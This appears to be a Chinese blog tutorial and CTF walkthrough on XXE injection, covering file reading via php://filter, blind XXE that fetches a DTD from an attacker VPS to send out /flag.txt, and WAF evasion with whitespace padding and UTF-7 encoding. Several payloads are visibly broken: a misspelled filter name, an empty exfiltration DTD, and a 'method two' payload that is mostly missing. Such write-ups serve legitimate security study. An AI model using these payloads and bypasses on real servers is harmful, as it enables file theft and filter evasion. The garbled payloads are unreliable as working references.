XML外部实体注入;XXE漏洞;XXE有回显注入;XXE无回显注入;Blind XXE;绕过方式总结

漏洞原理

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可以加载恶意外部文件,造成文件读取、命令执行、内网端口扫描。XXE漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件

环境搭建

地址:https://github.com/c0ny1/xxe-lab
下载好后将PHP_XXE放到PHPstudy的www目录下就可以访问
XML外部实体注入;XXE漏洞;XXE有回显注入;XXE无回显注入;Blind XXE;绕过方式总结_第1张图片

XXE有回显注入

在登录处先抓一下包,可以看到是参数的传递格式是XML,可能存在XML注入。
XML外部实体注入;XXE漏洞;XXE有回显注入;XXE无回显注入;Blind XXE;绕过方式总结_第2张图片
将数据包发送到Repeater模块,进行下一步的分析。
XML外部实体注入;XXE漏洞;XXE有回显注入;XXE无回显注入;Blind XXE;绕过方式总结_第3张图片
可以看到响应包里回显的内容为username,接着使用XXE漏洞进行文件读取。
XML外部实体注入;XXE漏洞;XXE有回显注入;XXE无回显注入;Blind XXE;绕过方式总结_第4张图片
读取txt文件时可以直接读取,但是在读取php文件时php代码可能会因为浏览器的解析而无法显示,这是需要将代码进行base64编码后再进行读出。

php://filter/read=convert.base64-encode/resource=文件地址

XML外部实体注入;XXE漏洞;XXE有回显注入;XXE无回显注入;Blind XXE;绕过方式总结_第5张图片
base64解码便可以获取abc.php的内容
XML外部实体注入;XXE漏洞;XXE有回显注入;XXE无回显注入;Blind XXE;绕过方式总结_第6张图片

XXE无回显注入

当一个Web程序可以解析XML输入,但却无任何输出响应这种注入叫做盲注XXE。所以为了测试这种盲注XXE,我们可以用非文件路径的外部实体来请求这里的Web应用。

这里借用CTFShow的一道题目进行讲解。
https://ctf.show/challenges#web4_%E8%A7%82%E5%BF%83-340
XML外部实体注入;XXE漏洞;XXE有回显注入;XXE无回显注入;Blind XXE;绕过方式总结_第7张图片
点击占卜,抓包看一下数据。看到它请求了一个外部的xml,可以推测存在XXE注入。
XML外部实体注入;XXE漏洞;XXE有回显注入;XXE无回显注入;Blind XXE;绕过方式总结_第8张图片
同时因为是从公网上的服务器发起请求,所以我们需要在自己的服务器上构造一个攻击链
首先开启Apache服务,把我们所构造的文件放在/var/www/html下,以便我们能访问到。

service apache2 start

创建一个test.xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>

创建一个test.dtd

<!ENTITY % dtd "">
%dtd;
%xxe;

然后发起请求
XML外部实体注入;XXE漏洞;XXE有回显注入;XXE无回显注入;Blind XXE;绕过方式总结_第9张图片
得到flag。

方法二

攻击payload



%remote;%dtd;%xxe;
]>

test.dtd


">
  • remote代表远程攻击机上的dtd文件,dtd的内容是file和dtd实体
  • xxe代表的是在dtd中镶嵌的另一个实体,它的作用是将file实体读取到的内容当作dtd实体的值

绕过方式

空格绕过

通常XXE漏洞存在于XML文档的开头,有的WAF会检测XML文档中开头中的某些子字符串或正则表达式,但是XML格式在设置标签属性的格式时允许使用任何数量的空格,因此我们可以在中插入数量足够多的空格去绕过WAF的检测。
原文

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>

绕过

<?xml              



                                                                                                                                                                                                                                                                         
version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>

编码绕过

当服务端对一些关键词过滤时(SYSTEM ENTITY)时,可以使用UTF-7绕过
https://www.motobit.com/util/charset-codepage-conversion.asp
原文

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;
%dtd;
%xxe;
]>

绕过

<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-DOCTYPE test +AFs-
+ADwAIQ-ENTITY +ACU- file SYSTEM +ACI-php://filter/read+AD0-convert-base64.encode/resource+AD0-/flag.txt+ACIAPg-
+ADwAIQ-ENTITY +ACU- remote SYSTEM +ACI-http://vps-ip/test.dtd+ACIAPg-
+ACU-remote+ADs-
+ACU-dtd+ADs-
+ACU-xxe+ADs-
+AF0APg-

你可能感兴趣的:(CTF刷题,web安全,渗透测试,安全,java,web)